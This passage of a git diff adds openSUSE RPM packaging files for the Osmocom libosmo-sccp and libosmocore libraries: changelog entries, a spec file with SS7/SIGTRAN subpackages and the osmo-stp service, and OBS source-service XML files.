+ * ss7: Implement AS traffic mode loadshare using round robin ASP selection
+
+-------------------------------------------------------------------
+Thu Oct 24 20:00:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.29:
+ * ss7: Set default traffic-mode to override
+ * vty: Print traffic mode during show cs7 instance as
+
+-------------------------------------------------------------------
+Wed Oct 23 20:00:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.27:
+ * xua_rkm: Don't permit de-registration of rctx with ASP active
+ * xua_rkm: Print NOTICE log message if registration for wrong rctx
+ * Log correct protocol during xua_accept_cb()
+ * vty: ss7: Make sure ASP has at least INET_ANY addr set if not configured in VTY
+ * ss7: Fix finding asp by socket addr if it has no remote hosts configured
+ * ss7: Fix finding asp by socket addr if local ip addr is 0.0.0.0
+ * ss7: Fix osmo_ss7_asp_peer_snprintf() output if peer has zero IP addr assigned
+ * cosmetic: Fix trailing whitespace
+ * vty: Fix write-config of local-ip and remote-ip commands
+
+-------------------------------------------------------------------
+Tue Oct 22 20:00:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.18:
+ * cosmetic: ss7: Fix trailing whitespace
+ * tests: Introduce test for multi-homing STP features
+ * ss7: Log local and remote address set upon ASP restart
+ * ss7: Support multiple addresses in SCTP connections
+ * Defer xua server binding until exit of VTY node
+ * m3ua: Log incorrect selected AS
+ * Fix typo in log message of recent commit
+
+-------------------------------------------------------------------
+Mon Oct 21 20:00:22 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.11:
+ * cosmetic: Document why IPA uses hard-coded routing-context 0
+ * Don't permit routing-context != 0 for IPA peers
+
+-------------------------------------------------------------------
+Sun Oct 20 20:00:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.9:
+ * ipa: VTY config option to explicitly enable/disable SCCP patching
+ * ipa: Fix crash when parsing of received IPA SCCP message fails
+
+-------------------------------------------------------------------
+Sat Oct 19 20:00:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.7:
+ * ipa: Don't send non-SCCP data over IPA/SCCPlite
+ * Use LOGPAS / LOGPASP in favor of generic LOGSS7 where applicable
+ * Move definition of LOGSS7() to header file; add LOGPAS() like LOGPASP()
+
+-------------------------------------------------------------------
+Mon Sep 16 20:00:15 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.4:
+ * sccp_user: correct comment for osmo_sccp_simple_client
+
+-------------------------------------------------------------------
+Fri Sep 06 20:00:15 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.3:
+ * ss7: Do not queue messages if stream is not connected
+
+-------------------------------------------------------------------
+Thu Aug 29 20:00:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.2:
+ * osmo_sccp_simple_client(): use sccp instance index 0 instead of 1
+
+-------------------------------------------------------------------
+Mon Aug 12 20:00:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.1:
+ * systemd: This patch adds Documentation field to the systemd service file
+
+-------------------------------------------------------------------
+Thu Aug 08 21:53:57 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.0:
+ * Bump version: 1.0.0.26-2728-dirty → 1.1.0
+ * Remove undefined param passed to {logging,osmo_stats}_vty_add_cmds
+
+-------------------------------------------------------------------
+Wed Jul 17 19:01:19 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.25:
+ * This patch fixes typos on which Lintian complains
+
+-------------------------------------------------------------------
+Thu Jul 11 20:00:28 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.24:
+ * contrib/jenkins.sh: "maintainer-clean" after "publish"
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Wed Jun 19 20:01:14 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.22:
+ * manuals: Update vty documentation
+ * manuals: Add script to regenerate vty/counter documentation
+
+-------------------------------------------------------------------
+Fri May 31 20:00:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.20:
+ * debian: create -doc subpackage with pdf manuals
+
+-------------------------------------------------------------------
+Sat May 11 20:00:18 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.19:
+ * osmo-stp: expose root talloc context to the VTY code
+
+-------------------------------------------------------------------
+Fri May 10 20:00:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.18:
+ * osmo-stp: register VTY commands for talloc context introspection
+
+-------------------------------------------------------------------
+Thu May 09 20:00:22 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.17:
+ * stp: Ensure telnet uses STP talloc context, not NULL context
+
+-------------------------------------------------------------------
+Tue May 07 20:00:22 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.16:
+ * udts/xudts: Attempt to implement unitdata service parsing
+ * xudt: Implement address and data extraction
+
+-------------------------------------------------------------------
+Thu Apr 18 20:00:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.14:
+ * add osmo_sccp_addr_cmp(), osmo_sccp_addr_ri_cmp()
+ * add caller-owns-msgb variant osmo_sccp_user_sap_down_nofree()
+
+-------------------------------------------------------------------
+Thu Apr 11 20:00:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.12:
+ * sccp_scoc: conn_create{,_id}() user arg, not inst
+ * sccp_scoc: move sccp_find_user() up
+
+-------------------------------------------------------------------
+Wed Apr 03 20:00:19 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.10:
+ * Cosmetic: sccp_scoc: fix local reference comments
+
+-------------------------------------------------------------------
+Mon Apr 01 20:00:18 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.9:
+ * sccp_scoc: Add more comments describing conn_id and local_ref members
+
+-------------------------------------------------------------------
+Fri Mar 15 21:00:18 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.8:
+ * Fix output of route destination in 'show ss7 instance <0-15> route'
+
+-------------------------------------------------------------------
+Thu Mar 14 21:00:20 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.7:
+ * Store + show remote ip/port in dynamically created ASPs
+ * improve logging for rejected AS in xua_rkm.c
+ * vty: Ensure to properly save route pointcode and mask when writing
+
+-------------------------------------------------------------------
+Wed Mar 06 21:00:19 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.4:
+ * debug log typo fix in sccp_scoc.c
+
+-------------------------------------------------------------------
+Mon Feb 18 21:00:19 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.3:
+ * OsmoSTP: enable statsd support
+
+-------------------------------------------------------------------
+Wed Feb 13 21:00:39 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.2:
+ * osmo_ss7.c: fix typo
+
+-------------------------------------------------------------------
+Thu Feb 07 21:00:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.1:
+ * Don't use deprecated osmo_stream_cli_open2()
+
+-------------------------------------------------------------------
+Sun Jan 20 21:00:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.0:
+ * Bump version: 0.10.0.39-b723 → 1.0.0
+ * sccp.c: Fix gcc-8.2 -Werror=maybe-uninitialized
+
+-------------------------------------------------------------------
+Sat Dec 22 21:00:15 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.43:
+ * fix ipa_asp_fsm down state transition
+
+-------------------------------------------------------------------
+Thu Dec 13 21:00:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.42:
+ * contrib: fix makedistcheck with disabled systemd
+
+-------------------------------------------------------------------
+Wed Dec 05 21:00:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.41:
+ * contrib/jenkins.sh: build and publish manuals
+
+-------------------------------------------------------------------
+Tue Dec 04 21:00:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.40:
+ * Fix DISTCHECK_CONFIGURE_FLAGS override
+
+-------------------------------------------------------------------
+Tue Nov 27 21:00:15 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.39:
+ * build manuals moved here from osmo-gsm-manuals.git
+ * stp: update vty reference with added SCCP commands
+ * stp: update vty reference
+ * vty-ref: Update URI of docbook 5.0 schema
+ * OsmoSTP: update VTY reference
+ * STP: Update vty reference XML file
+ * First step towards an OsmoSTP manual
+
+-------------------------------------------------------------------
+Thu Nov 22 18:57:05 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.30:
+ * SS7: safeguard against wrong number of pointcode component
+
+-------------------------------------------------------------------
+Mon Nov 19 18:30:58 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.29:
+ * Log ip:port for created SS7 server
+ * Make pointcode width function public
+
+-------------------------------------------------------------------
+Sun Nov 18 21:00:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.27:
+ * osmo-stp: add SCCP related VTY commands
+
+-------------------------------------------------------------------
+Fri Nov 09 21:00:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.26:
+ * return error code from xua_srv_conn_cb() if conn is freed
+
+-------------------------------------------------------------------
+Tue Oct 30 21:00:18 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.25:
+ * skip simple-client default as/asp when saving VTY config
+
+-------------------------------------------------------------------
+Sun Oct 21 17:22:54 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.24:
+ * build: move include/{mtp,sccp} to include/osmocom/
+
+-------------------------------------------------------------------
+Thu Sep 27 20:00:19 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.23:
+ * make SCCP timers configurable
+ * sccp_vty: fix doc strings for show ... ssn,connections
+ * cosmetic: allocate ss7->sccp in one common function
+ * vty: install 'show cs7' for sccp addrs on _ve nodes
+ * vty: tweak two printed strings
+ * sccp_vty: define SCCP_STR once
+ * add tests/vty: VTY UI transcript testing
+ * allow less characters for SCCP address book entries
+ * vty: fix 'show asp' from within 'asp' node
+ * drop inaccurate comment from osmo_ss7_vty.c
+ * cosmetic: sccp_scoc.c: fix timers definition units
+
+-------------------------------------------------------------------
+Tue Sep 25 20:00:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.12:
+ * osmo-stp.cfg: Ensure example config is well-formed
+
+-------------------------------------------------------------------
+Sat Sep 15 20:00:18 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.11:
+ * debian: Document why enable-static is used in dh_auto_configure
+
+-------------------------------------------------------------------
+Thu Sep 13 20:00:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.10:
+ * Install sample cfg file to /etc/osmocom
+
+-------------------------------------------------------------------
+Tue Sep 11 20:00:14 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.9:
+ * debian/rules: Remove duplicated override_dh_auto_test section
+ * Install systemd services with autotools
+
+-------------------------------------------------------------------
+Sun Sep 09 20:00:14 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.7:
+ * Revert "Install systemd services with autotools"
+ * Install systemd services with autotools
+
+-------------------------------------------------------------------
+Tue Aug 21 20:00:18 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.5:
+ * ipa_asp_fsm: init: expect IPA ID ACK, not GET
+
+-------------------------------------------------------------------
+Tue Aug 14 20:01:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.4:
+ * xua_rkm: Fix xua_msg memleank in handle_rkey_reg_resp
+ * sscp_scrc: Fix memleak of xua_msg when handing it to scrc_rx_mtp_xfer_ind_xua
+
+-------------------------------------------------------------------
+Mon Aug 06 20:00:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.2:
+ * debian/rules: Don't overwrite .tarball-version
+
+-------------------------------------------------------------------
+Wed Aug 01 20:00:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.1:
+ * Migrate from ipa_ccm_idtag_parse() to ipa_ccm_id_resp_parse()
+
+-------------------------------------------------------------------
+Fri Jul 27 20:00:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.0.0:
+ * Bump version: 0.9.0.20-6265-dirty → 0.10.0
+
+-------------------------------------------------------------------
+Wed Jul 25 20:00:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.9.0.20:
+ * git-version-gen: Don't check for .git directory
+
+-------------------------------------------------------------------
+Sat Jul 21 20:00:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.9.0.19:
+ * remove unused -p option from getopt() call in sccp_demo_user
+ * sccp_demo_user: use point code 23 for server and 1 for client
+
+-------------------------------------------------------------------
+Thu Jul 19 20:00:14 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.9.0.17:
+ * comment: explain xua_msg free in m3ua_rx_xfer()
+
+-------------------------------------------------------------------
+Thu Jul 12 20:00:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.9.0.16:
+ * fix two memleaks in ipa_rx_msg_sccp()
+ * add osmo_xua_msg_tall_ctx_init()
+ * cosmetic: sccp2sua.c: log the IEI for parsed SCCP addr
+ * fix memleak in ipa_rx_msg_sccp
+
+-------------------------------------------------------------------
+Mon Jul 02 20:00:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.9.0.12:
+ * debian: Package installed example doc files
+ * build: Install example cfg files
+
+-------------------------------------------------------------------
+Thu Jun 14 20:00:15 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.9.0.10:
+ * rename m3ua_example to sccp_demo_user
+
+-------------------------------------------------------------------
+Wed Jun 13 20:00:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.9.0.9:
+ * make it possible to pass parameters to m3ua_example
+
+-------------------------------------------------------------------
+Fri Jun 08 20:00:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.9.0.8:
+ * Introduce osmo_ss7_register_rx_unknown_cb() for unknown PPID/StreamID
+
+-------------------------------------------------------------------
+Thu Jun 07 10:36:00 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.9.0.7:
+ * fix use after free in osmo_sccp_simple_server_add_clnt()
+
+-------------------------------------------------------------------
+Tue Jun 05 20:00:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.9.0.6:
+ * fix infinite recursion with routing by global title
+
+-------------------------------------------------------------------
+Sat May 26 20:00:20 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.9.0.5:
+ * osmo_ss7: Register 5000 as default port for IPA/SCCPlite
+
+-------------------------------------------------------------------
+Thu May 17 20:00:44 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.9.0.4:
+ * tests: xua_test: Fix use of wrong buffer for dest addr
+ * tests: xua_test: Fix array len computation
+
+-------------------------------------------------------------------
+Tue May 15 20:00:18 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.9.0.2:
+ * free msgb for primitive allocated in lm_timer_cb() of lm_fsm
+
+-------------------------------------------------------------------
+Tue May 08 20:00:18 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.9.0.1:
+ * debian/control: match build dependency versions with configure.ac
+
+-------------------------------------------------------------------
+Thu May 03 20:00:18 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.9.0.0:
+ * Bump version: 0.8.1.43-7e34-dirty → 0.9.0
+
+-------------------------------------------------------------------
+Tue Apr 17 20:00:19 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.43:
+ * ipa_asp_fsm: Prevent against integer underflow
+ * use osmo_init_logging2
+
+-------------------------------------------------------------------
+Wed Mar 14 21:19:47 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.41:
+ * add osmo_ss7_route_name()
+ * cosmetic: hmrt_message_for_routing(): use osmo_ss7_route_name()
+ * error log: sccp_scoc.c: log failure to create/resolve conn_id
+ * sccp_types.h: Fix value for SCCP_REFUSAL_UNEQUIPPED_USER
+ * debian/control: Fix Vcs-Browser
+ * build: AC_PROG_LIBTOOL is the same as LT_INIT
+ * SS7: clarify handling of stream opening error
+ * contrib: jenkins.sh: Disable doxygen in libosmocore build
+ * configure: add --enable-werror
+ * jenkins.sh: use --enable-werror configure flag, not CFLAGS
+
+-------------------------------------------------------------------
+Wed Feb 28 20:58:15 UTC 2018 - mardnh@gmx.de
+
+- Don't package libmtp, libsccp and libxua anymore
+ Those libraries are considered legacy these days and are not
+ needed regular osmocom users.
+- Create subpackage for osmo-stp
+- Run spec-cleaner
+- Remove patches:
+ * 0001-build-fixes.patch
+- Add patches:
+ * libosmo-sccp-unbreak-disable-static.patch
+ * libosmo-sccp-use-system-talloc.patch
+
+-------------------------------------------------------------------
+Wed Feb 14 16:32:24 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.8.1.37
+- Rebase patch:
+ * 0001-build-fixes.patch
+
+-------------------------------------------------------------------
+Sat Feb 10 20:14:53 UTC 2018 - mardnh@gmx.de
+
+- Show testsuite.log when tests are failing
+
+-------------------------------------------------------------------
+Wed Jan 24 12:56:38 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.8.1.35
+
+-------------------------------------------------------------------
+Thu Dec 28 00:32:03 UTC 2017 - jengelh@inai.de
+
+- Update to new upstream release 0.8.1
+ * sccp_scrc: fix Network Indicator in SIO composition
+ * osmo_sccp_addr_encode(): Fix truncation of point codes
+
+-------------------------------------------------------------------
+Thu Oct 26 13:05:31 UTC 2017 - dimstar@opensuse.org
+
+- Fix names of shared library packages: the version is 0.7.0.284
+ and the soname contains the entire version. As this results in
+ package rename, we exceptionally obsolete the old/wrong package
+ name in order to facilitate error-free upgrades.
+
+-------------------------------------------------------------------
+Mon Oct 2 23:10:26 UTC 2017 - jengelh@inai.de
+
+- Update to new upstream snapshot 0.7.0.284
+ * vty: add 'asp' / 'local-ip' command
+ * osmo_ss7_vty: fix 'as' / 'routing-key' command
+ * OsmoSTP: Install our default set of signal handlers
+ * Fix SCCP client crash on xUA server (STP) disconnect
+ * vty: hide SG commands when running as ASP
+ * sccp: fix creating of the default route in simple client
+ * sccp: derive local address from given sccp instance
+
+-------------------------------------------------------------------
+Fri Apr 28 22:48:03 UTC 2017 - jengelh@inai.de
+
+- Update to new upstream snapshot 0.7.0.208
+ * Add new 'osmo_ss7' SS7 core code with M3UA, ASP/AS FSM, ...
+ * Add SCCP <-> SUA message transcoding routines
+ * Add tests for xUA code + SCCP/SUA transcoding
+ * Add new SCCP implementation
+ * Add M3UA RKM (routing key management) support, SGW side only
+ * SCCP: Add VTY interface for SCCP
+
+-------------------------------------------------------------------
+Fri Jan 22 18:33:36 UTC 2016 - jengelh@inai.de
+
+- Update to new upstream snapshot 0.7.0.11
+* Add missing OSMO_SCCP_SSN_RANAP for RANAP SSN
+* Properly define SCCP_SAP_USER without random magic number
+* Import SUA (SCCP User Adaptation) and SCCP User SAP
+
+-------------------------------------------------------------------
+Thu Sep 10 21:34:08 UTC 2015 - jengelh@inai.de
+
+- Update to new upstream release 0.7.0
+* sccp: Allow to specify the context of the incoming message
+* mtp: Correct the pointcode mask
+* mtp: Add implementation from cellmgr
+* m3ua: Add the definition of the protocol data header
+* xua: Generalize the m2ua_msg and call it xua_msg
+* XUA: Move m2ua headers to sigtran, create xua_types.h
+ and m3ua_types.h
+* sccp: Create sccp_create_cr and use it in the connection creation
+
+-------------------------------------------------------------------
+Mon Jul 21 08:37:45 UTC 2014 - jengelh@inai.de
+
+- Initial package (version 0.0.6.3) for build.opensuse.org
diff --git a/rpm-local/spec/libosmo-sccp/libosmo-sccp.spec b/rpm-local/spec/libosmo-sccp/libosmo-sccp.spec
new file mode 100644
index 0000000..2c433ba
--- /dev/null
+++ b/rpm-local/spec/libosmo-sccp/libosmo-sccp.spec
@@ -0,0 +1,235 @@
+#
+# spec file for package libosmo-sccp
+#
+# Copyright (c) 2018 SUSE LINUX GmbH, Nuernberg, Germany.
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+%define libversion %(echo "%{version}" |sed 's/\\./_/g')
+Name: libosmo-sccp
+Version: 1.2.0.35
+Release: 0
+Summary: Osmocom library for the A-bis interface between BTS and BSC
+License: AGPL-3.0-or-later AND GPL-2.0-or-later
+Group: Hardware/Mobile
+URL: https://projects.osmocom.org/projects/libosmo-sccp
+#Git-Clone: git://git.osmocom.org/libosmo-sccp
+Source: %{name}-%{version}.tar.xz
+Patch0: 0001-build-fixes.patch
+BuildRequires: automake >= 1.6
+BuildRequires: libtool >= 2
+BuildRequires: lksctp-tools-devel
+BuildRequires: pkgconfig >= 0.20
+BuildRequires: systemd-rpm-macros
+BuildRequires: xz
+BuildRequires: pkgconfig(libosmo-netif) >= 0.4.0
+BuildRequires: pkgconfig(libosmocore) >= 1.0.0
+BuildRequires: pkgconfig(libosmogsm) >= 1.0.0
+BuildRequires: pkgconfig(libosmovty) >= 1.0.0
+
+%description
+SCCP is a network layer protocol that provides extended routing, flow
+control, segmentation, connection-orientation, and error correction
+facilities in Signaling System 7 telecommunications networks. SCCP is
+heavily used in cellular networks such as GSM.
+
+%package -n libosmo-mtp-%{libversion}
+Summary: Osmocom Message Transfer Part library
+License: GPL-2.0-or-later
+Group: System/Libraries
+
+%description -n libosmo-mtp-%{libversion}
+The Message Transfer Part (MTP) is part of the Signaling System 7
+(SS7) used for communication in Public Switched Telephone Networks.
+MTP is responsible for reliable, unduplicated and in-sequence
+transport of SS7 messages between communication partners.
+
+%package -n libosmo-mtp-devel
+Summary: Development files for the Osmocom MTP library
+License: GPL-2.0-or-later
+Group: Development/Libraries/C and C++
+Requires: libosmo-mtp-%{libversion} = %{version}
+
+%description -n libosmo-mtp-devel
+MTP is part of SS7 used for communication in Public Switched
+Telephone Networks.
+
+This subpackage contains the development files for the Osmocom MTP
+library.
+
+%package -n libosmo-sccp-%{libversion}
+Summary: Osmocom Signalling Connection Control Part library
+License: GPL-2.0-or-later
+Group: System/Libraries
+
+%description -n libosmo-sccp-%{libversion}
+The Signalling Connection Control Part (SCCP) is a network layer
+protocol that provides extended routing, flow control, segmentation,
+connection-orientation, and error correction facilities in Signaling
+System 7 telecommunications networks. SCCP relies on the services of
+MTP for basic routing and error detection.
+
+%package -n libosmo-sccp-devel
+Summary: Development files for the Osmocom SCCP library
+License: GPL-2.0-or-later
+Group: Development/Libraries/C and C++
+Requires: libosmo-sccp-%{libversion} = %{version}
+
+%description -n libosmo-sccp-devel
+SCCP is a network layer protocol that provides routing, flow control,
+segmentation, connection-orientation, and error correction facilities
+in SS7 telecommunications networks.
+
+This subpackage contains the development files for the Osmocom SCCP
+library.
+
+%package -n libosmo-sigtran5
+Summary: Osmocom SIGTRAN library
+License: GPL-2.0-or-later
+Group: System/Libraries
+
+%description -n libosmo-sigtran5
+Osmocom implementation of (parts of) SIGTRAN.
+
+%package -n libosmo-sigtran-devel
+Summary: Development files for the Osmocom sigtran library
+License: GPL-2.0-or-later
+Group: Development/Libraries/C and C++
+Requires: libosmo-sigtran5 = %{version}
+
+%description -n libosmo-sigtran-devel
+Osmocom implementation of (parts of) SIGTRAN.
+
+This subpackage contains the development files for the Osmocom
+SIGTRAN library.
+
+%package -n libosmo-xua-%{libversion}
+Summary: Osmocom Message Transfer Part 2 User Adaptation library
+License: GPL-2.0-or-later
+Group: System/Libraries
+
+%description -n libosmo-xua-%{libversion}
+M2UA (RFC 3331) provides an SCTP (RFC 3873) adaptation layer for the
+seamless backhaul of MTP Level 2 user messages and service interface
+across an IP network.
+
+%package -n libosmo-xua-devel
+Summary: Development files for the Osmocom M2UA library
+License: GPL-2.0-or-later
+Group: Development/Libraries/C and C++
+Requires: libosmo-sigtran-devel = %{version}
+Requires: libosmo-xua-%{libversion} = %{version}
+
+%description -n libosmo-xua-devel
+M2UA provides an SCTP adaptation layer for MTP level 2 user messages
+and service interface across an IP network.
+
+This subpackage contains the development files for the Osmocom M2UA
+library.
+
+%package -n osmo-stp
+Summary: Osmocom SIGTRAN STP (Signaling Transfer Point)
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Servers
+
+%description -n osmo-stp
+This is the Osmocom (Open Source Mobile Communications) implementation
+of a Signaling Transfer Point (STP) for SS7/SIGTRAN telecommunication
+networks. At this point it is a very minimal implementation, missing
+lots of the functionality usually present in a STP, such as Global Title
+Routing, Global Title Translation.
+
+%prep
+%setup -q
+%patch0 -p1
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fiv
+%configure \
+ --enable-shared \
+ --disable-static \
+ --includedir="%{_includedir}/%{name}" \
+ --docdir="%{_docdir}/%{name}" \
+ --with-systemdsystemunitdir=%{_unitdir}
+make %{?_smp_mflags}
+
+%install
+%make_install
+find %{buildroot} -type f -name "*.la" -delete -print
+
+%check
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+%post -n libosmo-mtp-%{libversion} -p /sbin/ldconfig
+%postun -n libosmo-mtp-%{libversion} -p /sbin/ldconfig
+%post -n libosmo-sccp-%{libversion} -p /sbin/ldconfig
+%postun -n libosmo-sccp-%{libversion} -p /sbin/ldconfig
+%post -n libosmo-sigtran5 -p /sbin/ldconfig
+%postun -n libosmo-sigtran5 -p /sbin/ldconfig
+%post -n libosmo-xua-%{libversion} -p /sbin/ldconfig
+%postun -n libosmo-xua-%{libversion} -p /sbin/ldconfig
+%preun -n osmo-stp %service_del_preun osmo-stp.service
+%postun -n osmo-stp %service_del_postun osmo-stp.service
+%pre -n osmo-stp %service_add_pre osmo-stp.service
+%post -n osmo-stp %service_add_post osmo-stp.service
+
+%files -n libosmo-mtp-%{libversion}
+%{_libdir}/libosmo-mtp-%{version}.so
+
+%files -n libosmo-mtp-devel
+%dir %{_includedir}/%{name}
+%dir %{_includedir}/%{name}/osmocom
+%{_includedir}/%{name}/osmocom/mtp/
+%{_libdir}/libosmo-mtp.so
+%{_libdir}/pkgconfig/libosmo-mtp.pc
+
+%files -n libosmo-sccp-%{libversion}
+%{_libdir}/libosmo-sccp.so
+%{_libdir}/libosmo-sccp-%{version}.so
+
+%files -n libosmo-sccp-devel
+%dir %{_includedir}/%{name}
+%dir %{_includedir}/%{name}/osmocom
+%{_includedir}/%{name}/osmocom/sccp/
+%{_libdir}/pkgconfig/libosmo-sccp.pc
+
+%files -n libosmo-sigtran5
+%{_libdir}/libosmo-sigtran.so.5*
+
+%files -n libosmo-sigtran-devel
+%dir %{_includedir}/%{name}
+%dir %{_includedir}/%{name}/osmocom
+%{_includedir}/%{name}/osmocom/sigtran
+%{_libdir}/libosmo-sigtran.so
+%{_libdir}/pkgconfig/libosmo-sigtran.pc
+
+%files -n libosmo-xua-%{libversion}
+%{_libdir}/libosmo-xua-%{version}.so
+
+%files -n libosmo-xua-devel
+%{_libdir}/libosmo-xua.so
+%{_libdir}/pkgconfig/libosmo-xua.pc
+
+%files -n osmo-stp
+%{_bindir}/osmo-stp
+%dir %{_sysconfdir}/osmocom
+%config %{_sysconfdir}/osmocom/osmo-stp.cfg
+%{_unitdir}/osmo-stp.service
+%dir %{_docdir}/%{name}
+%dir %{_docdir}/%{name}/examples
+%dir %{_docdir}/%{name}/examples/osmo-stp
+%{_docdir}/%{name}/examples/osmo-stp/osmo-stp.cfg
+%{_docdir}/%{name}/examples/osmo-stp/osmo-stp-multihome.cfg
+
+%changelog
diff --git a/rpm-local/spec/libosmocore/_service b/rpm-local/spec/libosmocore/_service
new file mode 100644
index 0000000..8422378
--- /dev/null
+++ b/rpm-local/spec/libosmocore/_service
@@ -0,0 +1,13 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/libosmocore</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/libosmocore/_servicedata b/rpm-local/spec/libosmocore/_servicedata
new file mode 100644
index 0000000..634805e
--- /dev/null
+++ b/rpm-local/spec/libosmocore/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/libosmocore</param>
+ <param name="changesrevision">3a6bedf1e5f8ef32243e86fa753c6433a22b936d</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/libosmocore/libosmocore.changes b/rpm-local/spec/libosmocore/libosmocore.changes
new file mode 100644
index 0000000..27fdf64
--- /dev/null
+++ b/rpm-local/spec/libosmocore/libosmocore.changes
@@ -0,0 +1,2645 @@
+-------------------------------------------------------------------
+Tue May 05 20:00:08 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.76:
+ * sim: When decoding SW, take application specific SW into account
+ * rest_octets: fix encoding of 3G Early Classmark Sending Restriction
+
+-------------------------------------------------------------------
+Sat May 02 20:00:08 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.74:
+ * gsm_29_118.h: Fix compilation with gcc-10
+ * configure.ac: Fix HAVE_CLOCK_GETTIME undef when func in -lrt
+
+-------------------------------------------------------------------
+Wed Apr 29 20:00:08 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.72:
+ * gsm_04_06.h: Remove repeated egprs header struct definitions
+
+-------------------------------------------------------------------
+Mon Apr 20 20:00:08 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.71:
+ * gsm0503_parity: Fix compilation with gcc-10
+
